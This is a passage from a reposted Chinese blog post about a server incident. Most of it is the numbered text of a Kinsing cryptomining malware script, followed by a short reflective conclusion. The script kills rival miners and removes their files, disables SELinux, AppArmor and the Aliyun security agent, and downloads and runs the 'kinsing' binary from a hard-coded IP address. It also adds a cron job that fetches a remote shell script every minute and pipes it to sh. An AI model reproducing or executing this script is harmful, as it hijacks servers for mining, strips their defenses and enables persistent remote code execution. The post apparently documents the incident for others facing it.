  345. pkill -f icb5o
  346. pkill -f nopxi
  347. pkill -f irqbalanc1
  348. pkill -f minerd
  349. pkill -f i586
  350. pkill -f gddr
  351. pkill -f mstxmr
  352. pkill -f ddg.2011
  353. pkill -f wnTKYg
  354. pkill -f deamon
  355. pkill -f disk_genius
  356. pkill -f sourplum
  357. pkill -f polkitd
  358. pkill -f nanoWatch
  359. pkill -f zigw
  360. pkill -f devtool
  361. pkill -f devtools
  362. pkill -f systemctI
  363. pkill -f watchbog
  364. pkill -f cryptonight
  365. pkill -f sustes
  366. pkill -f xmrig
  367. pkill -f xmrig-cpu
  368. pkill -f 121.42.151.137
  369. pkill -f sysguard
  370. pkill -f networkservice
  371. pkill -f sysupdate
  372. pkill -f phpguard
  373. pkill -f phpupdate
  374. pkill -f networkmanager
  375. pkill -f /tmp/init12.cfg
  376. pkill -f kieuanilam.me
  377. pkill -f init12.cfg
  378. pkill -f nginxk
  379. pkill -f tmp/wc.conf
  380. pkill -f xmrig-notls
  381. pkill -f xmr-stak
  382. pkill -f suppoie
  383. pkill -f zer0day.ru
  384. pkill -f dbus-daemon--system
  385. pkill -f nullcrew
  386. pkill -f systemctI
  387. pkill -f kworkerds
  388. pkill -f init10.cfg
  389. pkill -f /wl.conf
  390. pkill -f crond64
  391. pkill -f sustse
  392. pkill -f vmlinuz
  393. pkill -f exin
  394. pkill -f apachiii
  395. rm -rf /usr/bin/config.json
  396. rm -rf /usr/bin/exin
  397. killall log_rot
  398. pkill -f log_rot
  399. rm -rf /tmp/wc.conf
  400. rm -rf /tmp/log_rot
  401. rm -rf /tmp/apachiii
  402. rm -rf /tmp/sustse
  403. rm -rf /tmp/php
  404. rm -rf /tmp/p2.conf
  405. rm -rf /tmp/pprt
  406. rm -rf /tmp/ppol
  407. rm -rf /tmp/javax/config.sh
  408. rm -rf /tmp/javax/sshd2
  409. rm -rf /tmp/.profile
  410. rm -rf /tmp/1.so
  411. rm -rf /tmp/kworkerds
  412. rm -rf /tmp/kworkerds3
  413. rm -rf /tmp/kworkerdssx
  414. rm -rf /tmp/xd.json
  415. rm -rf /tmp/syslogd
  416. rm -rf /tmp/syslogdb
  417. rm -rf /tmp/65ccEJ7
  418. rm -rf /tmp/jmxx
  419. rm -rf /tmp/2Ne80nA
  420. rm -rf /tmp/dl
  421. rm -rf /tmp/ddg
  422. rm -rf /tmp/systemxlv
  423. rm -rf /tmp/systemctI
  424. rm -rf /tmp/.abc
  425. rm -rf /tmp/osw.hb
  426. rm -rf /tmp/.tmpleve
  427. rm -rf /tmp/.tmpnewzz
  428. rm -rf /tmp/.java
  429. rm -rf /tmp/.omed
  430. rm -rf /tmp/.tmpc
  431. rm -rf /tmp/.tmpleve
  432. rm -rf /tmp/.tmpnewzz
  433. rm -rf /tmp/gates.lod
  434. rm -rf /tmp/conf.n
  435. rm -rf /tmp/update.sh
  436. rm -rf /tmp/devtool
  437. rm -rf /tmp/devtools
  438. rm -rf /tmp/fs
  439. rm -rf /tmp/.rod
  440. rm -rf /tmp/.rod.tgz
  441. rm -rf /tmp/.rod.tgz.1
  442. rm -rf /tmp/.rod.tgz.2
  443. rm -rf /tmp/.mer
  444. rm -rf /tmp/.mer.tgz
  445. rm -rf /tmp/.mer.tgz.1
  446. rm -rf /tmp/.hod
  447. rm -rf /tmp/.hod.tgz
  448. rm -rf /tmp/.hod.tgz.1
  449. rm -rf /tmp/84Onmce
  450. rm -rf /tmp/C4iLM4L
  451. rm -rf /tmp/lilpip
  452. rm -rf /tmp/3lmigMo
  453. rm -rf /tmp/am8jmBP
  454. rm -rf /tmp/tmp.txt
  455. rm -rf /tmp/baby
  456. rm -rf /tmp/.lib
  457. rm -rf /tmp/systemd
  458. rm -rf /tmp/lib.tar.gz
  459. rm -rf /tmp/baby
  460. rm -rf /tmp/java
  461. rm -rf /tmp/j2.conf
  462. rm -rf /tmp/.mynews1234
  463. rm -rf /tmp/a3e12d
  464. rm -rf /tmp/.pt
  465. rm -rf /tmp/.pt.tgz
  466. rm -rf /tmp/.pt.tgz.1
  467. rm -rf /tmp/go
  468. rm -rf /tmp/java
  469. rm -rf /tmp/j2.conf
  470. rm -rf /tmp/.tmpnewasss
  471. rm -rf /tmp/java
  472. rm -rf /tmp/go.sh
  473. rm -rf /tmp/go2.sh
  474. rm -rf /tmp/khugepageds
  475. rm -rf /tmp/.censusqqqqqqqqq
  476. rm -rf /tmp/.kerberods
  477. rm -rf /tmp/kerberods
  478. rm -rf /tmp/seasame
  479. rm -rf /tmp/touch
  480. rm -rf /tmp/.p
  481. rm -rf /tmp/runtime2.sh
  482. rm -rf /tmp/runtime.sh
  483. rm -rf /dev/shm/z3.sh
  484. rm -rf /dev/shm/z2.sh
  485. rm -rf /dev/shm/.scr
  486. rm -rf /dev/shm/.kerberods
  487. rm -f /etc/ld.so.preload
  488. rm -f /usr/local/lib/libioset.so
  489. chattr -i /etc/ld.so.preload
  490. rm -f /etc/ld.so.preload
  491. rm -f /usr/local/lib/libioset.so
  492. rm -rf /tmp/watchdogs
  493. rm -rf /etc/cron.d/tomcat
  494. rm -rf /etc/rc.d/init.d/watchdogs
  495. rm -rf /usr/sbin/watchdogs
  496. rm -f /tmp/kthrotlds
  497. rm -f /etc/rc.d/init.d/kthrotlds
  498. rm -rf /tmp/.sysbabyuuuuu12
  499. rm -rf /tmp/logo9.jpg
  500. rm -rf /tmp/miner.sh
  501. rm -rf /tmp/nullcrew
  502. rm -rf /tmp/proc
  503. rm -rf /tmp/2.sh
  504. rm /opt/atlassian/confluence/bin/1.sh
  505. rm /opt/atlassian/confluence/bin/1.sh.1
  506. rm /opt/atlassian/confluence/bin/1.sh.2
  507. rm /opt/atlassian/confluence/bin/1.sh.3
  508. rm /opt/atlassian/confluence/bin/3.sh
  509. rm /opt/atlassian/confluence/bin/3.sh.1
  510. rm /opt/atlassian/confluence/bin/3.sh.2
  511. rm /opt/atlassian/confluence/bin/3.sh.3
  512. rm -rf /var/tmp/f41
  513. rm -rf /var/tmp/2.sh
  514. rm -rf /var/tmp/config.json
  515. rm -rf /var/tmp/xmrig
  516. rm -rf /var/tmp/1.so
  517. rm -rf /var/tmp/kworkerds3
  518. rm -rf /var/tmp/kworkerdssx
  519. rm -rf /var/tmp/kworkerds
  520. rm -rf /var/tmp/wc.conf
  521. rm -rf /var/tmp/nadezhda.
  522. rm -rf /var/tmp/nadezhda.arm
  523. rm -rf /var/tmp/nadezhda.arm.1
  524. rm -rf /var/tmp/nadezhda.arm.2
  525. rm -rf /var/tmp/nadezhda.x86_64
  526. rm -rf /var/tmp/nadezhda.x86_64.1
  527. rm -rf /var/tmp/nadezhda.x86_64.2
  528. rm -rf /var/tmp/sustse3
  529. rm -rf /var/tmp/sustse
  530. rm -rf /var/tmp/moneroocean/
  531. rm -rf /var/tmp/devtool
  532. rm -rf /var/tmp/devtools
  533. rm -rf /var/tmp/play.sh
  534. rm -rf /var/tmp/systemctI
  535. rm -rf /var/tmp/update.sh
  536. rm -rf /var/tmp/.java
  537. rm -rf /var/tmp/1.sh
  538. rm -rf /var/tmp/conf.n
  539. rm -r /var/tmp/lib
  540. rm -r /var/tmp/.lib
  541. rm -rf /tmp/config.json
  542. chattr -iau /tmp/lok
  543. chmod +700 /tmp/lok
  544. rm -rf /tmp/lok
  545. #yum install -y docker.io || apt-get install docker.io;
  546. docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
  547. docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
  548. docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
  549. docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
  550. docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
  551. docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
  552. docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
  553. docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
  554. docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
  555. docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
  556. docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
  557. docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
  558. docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
  559. docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
  560. docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
  561. docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
  562. docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
  563. docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
  564. docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
  565. docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
  566. docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
  567. docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
  568. setenforce 0
  569. echo SELINUX=disabled >/etc/selinux/config
  570. service apparmor stop
  571. systemctl disable apparmor
  572. service aliyun.service stop
  573. systemctl disable aliyun.service
  574. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  575. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  576. rm -rf /usr/local/aegis
  577. BIN_MD5="2c44b4e4706b8bd95d1866d7867efa0e"
  578. BIN_DOWNLOAD_URL="http://178.20.40.200/kinsing"
  579. BIN_DOWNLOAD_URL2="http://178.20.40.200/kinsing"
  580. BIN_NAME="kinsing"
  581. ROOTUID="0"
  582. BIN_PATH="/etc"
  583. if [ "$(id -u)" -ne "$ROOTUID" ] ; then
  584. BIN_PATH="/tmp"
  585. if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
  586. echo "$BIN_PATH not exists or not writeable"
  587. mkdir /tmp
  588. fi
  589. if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
  590. echo "$BIN_PATH replacing with /var/tmp"
  591. BIN_PATH="/var/tmp"
  592. fi
  593. if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
  594. TMP_DIR=$(mktemp -d)
  595. echo "$BIN_PATH replacing with $TMP_DIR"
  596. BIN_PATH="$TMP_DIR"
  597. fi
  598. if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
  599. echo "$BIN_PATH replacing with /dev/shm"
  600. BIN_PATH="/dev/shm"
  601. fi
  602. if [ -d "$BIN_PATH/$BIN_NAME" ]; then
  603. echo "$BIN_PATH/$BIN_NAME is directory"
  604. rm -rf $BIN_PATH/$BIN_NAME
  605. fi
  606. if [ -e "$BIN_PATH/$BIN_NAME" ]; then
  607. echo "$BIN_PATH/$BIN_NAME exists"
  608. if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
  609. echo "$BIN_PATH/$BIN_NAME not writeable"
  610. ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
  611. if [ $? -eq 0 ]; then
  612. rm -rf $BIN_PATH/$BIN_NAME
  613. rm -rf $BIN_PATH/kdevtmpfsi
  614. echo "found /dev"
  615. else
  616. echo "not found /dev"
  617. fi
  618. TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
  619. BIN_NAME="kinsing_$TMP_BIN_NAME"
  620. else
  621. echo "writeable $BIN_PATH/$BIN_NAME"
  622. fi
  623. fi
  624. fi
  625. BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
  626. echo "$BIN_FULL_PATH"
  627. LDR="wget -q -O -"
  628. if [ -s /usr/bin/curl ]; then
  629. LDR="curl"
  630. fi
  631. if [ -s /usr/bin/wget ]; then
  632. LDR="wget -q -O -"
  633. fi
  634. if [ -x "$(command -v curl)" ]; then
  635. WGET="curl -o"
  636. elif [ -x "$(command -v wget)" ]; then
  637. WGET="wget -O"
  638. else
  639. echo "wget none"
  640. fi
  641. echo "wget is $WGET"
  642. ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
  643. if [ $? -eq 0 ]; then
  644. rm -rf $BIN_FULL_PATH
  645. rm -rf $SO_FULL_PATH
  646. rm -rf $BIN_PATH/kdevtmpfsi
  647. rm -rf $BIN_PATH/libsystem.so
  648. rm -rf /tmp/kdevtmpfsi
  649. echo "found /dev"
  650. else
  651. echo "not found /dev"
  652. fi
  653. checkExists() {
  654. CHECK_PATH=$1
  655. MD5=$2
  656. sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  657. retval=""
  658. if [ "$MD5" = "$sum" ]; then
  659. echo >&2 "$CHECK_PATH is $MD5"
  660. retval="true"
  661. else
  662. echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
  663. retval="false"
  664. fi
  665. echo "$retval"
  666. }
  667. download() {
  668. DOWNLOAD_PATH=$1
  669. DOWNLOAD_URL=$2
  670. if [ -L $DOWNLOAD_PATH ]
  671. then
  672. rm -rf $DOWNLOAD_PATH
  673. fi
  674. chmod 777 $DOWNLOAD_PATH
  675. $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  676. chmod +x $DOWNLOAD_PATH
  677. }
  678. binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  679. if [ "$binExists" = "true" ]; then
  680. echo "$BIN_FULL_PATH exists and checked"
  681. else
  682. echo "$BIN_FULL_PATH not exists"
  683. download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
  684. binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  685. if [ "$binExists" = "true" ]; then
  686. echo "$BIN_FULL_PATH after download exists and checked"
  687. else
  688. echo "$BIN_FULL_PATH after download not exists"
  689. download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
  690. binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  691. if [ "$binExists" = "true" ]; then
  692. echo "$BIN_FULL_PATH after download2 exists and checked"
  693. else
  694. echo "$BIN_FULL_PATH after download2 not exists"
  695. fi
  696. fi
  697. fi
  698. chmod 777 $BIN_FULL_PATH
  699. chmod +x $BIN_FULL_PATH
  700. SKL=scg $BIN_FULL_PATH
  701. crontab -l | sed '/#wget/d' | crontab -
  702. crontab -l | sed '/#curl/d' | crontab -
  703. crontab -l | grep -e "91.241.19.134" | grep -v grep
  704. if [ $? -eq 0 ]; then
  705. echo "cron good"
  706. else
  707. (
  708. crontab -l 2>/dev/null
  709. echo "* * * * * $LDR http://91.241.19.134/scg.sh | sh > /dev/null 2>&1"
  710. ) | crontab -
  711. fi
  712. crontab -l | sed '/base64/d' | crontab -
  713. crontab -l | sed '/update.sh/d' | crontab -
  714. crontab -l | sed '/logo4/d' | crontab -
  715. crontab -l | sed '/logo9/d' | crontab -
  716. crontab -l | sed '/logo0/d' | crontab -
  717. crontab -l | sed '/logo/d' | crontab -
  718. crontab -l | sed '/tor2web/d' | crontab -
  719. crontab -l | sed '/jpg/d' | crontab -
  720. crontab -l | sed '/png/d' | crontab -
  721. crontab -l | sed '/tmp/d' | crontab -
  722. crontab -l | sed '/zmreplchkr/d' | crontab -
  723. crontab -l | sed '/aliyun.one/d' | crontab -
  724. crontab -l | sed '/3.215.110.66.one/d' | crontab -
  725. crontab -l | sed '/pastebin/d' | crontab -
  726. crontab -l | sed '/onion/d' | crontab -
  727. crontab -l | sed '/lsd.systemten.org/d' | crontab -
  728. crontab -l | sed '/shuf/d' | crontab -
  729. crontab -l | sed '/ash/d' | crontab -
  730. crontab -l | sed '/mr.sh/d' | crontab -
  731. crontab -l | sed '/185.181.10.234/d' | crontab -
  732. crontab -l | sed '/localhost.xyz/d' | crontab -
  733. crontab -l | sed '/45.137.151.106/d' | crontab -
  734. crontab -l | sed '/111.90.159.106/d' | crontab -
  735. crontab -l | sed '/github/d' | crontab -
  736. crontab -l | sed '/bigd1ck.com/d' | crontab -
  737. crontab -l | sed '/xmr.ipzse.com/d' | crontab -
  738. crontab -l | sed '/185.181.10.234/d' | crontab -
  739. crontab -l | sed '/146.71.79.230/d' | crontab -
  740. crontab -l | sed '/122.51.164.83/d' | crontab -
  741. crontab -l | sed '/185.191.32.198/d' | crontab -
  742. crontab -l | sed '/newdat.sh/d' | crontab -
  743. crontab -l | sed '/lib.pygensim.com/d' | crontab -
  744. crontab -l | sed '/t.amynx.com/d' | crontab -
  745. crontab -l | sed '/update.sh/d' | crontab -
  746. crontab -l | sed '/systemd-service.sh/d' | crontab -
  747. crontab -l | sed '/pg_stat.sh/d' | crontab -
  748. crontab -l | sed '/sleep/d' | crontab -
  749. crontab -l | sed '/oka/d' | crontab -
  750. crontab -l | sed '/linux1213/d' | crontab -
  751. crontab -l | sed '/zsvc/d' | crontab -
  752. crontab -l | sed '/_cron/d' | crontab -
  753. crontab -l | sed '/31.210.20.181/d' | crontab -
  754. crontab -l | sed '/givemexyz/d' | crontab -
  755. crontab -l | sed '/world/d' | crontab -
  756. crontab -l | sed '/1.sh/d' | crontab -
  757. crontab -l | sed '/3.sh/d' | crontab -
  758. crontab -l | sed '/workers/d' | crontab -
  759. crontab -l | sed '/oracleservice/d' | crontab -

7.总结

        通过这种问题式驱动学习是比较好的,遇到问题然后带着问题去寻找答案,求知探索,知行合一,是一种奇妙无穷的体验和一种悠然而生的成就感,虽然过程很难很煎熬很很头疼,但是当你解决的那一刻的时候是一种喜悦、快乐、高兴和悠然而生的成就感,这种方式得到的答案往往比较记忆犹新,复盘总结一下也会有不少的收获,希望我的分享也能给更多的小伙伴带来帮助,不至于遇到这种奇葩问题二焦头烂额,阅读关注点赞加关注,一键三连哦。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/364826
推荐阅读
相关标签
  

闽ICP备14008679号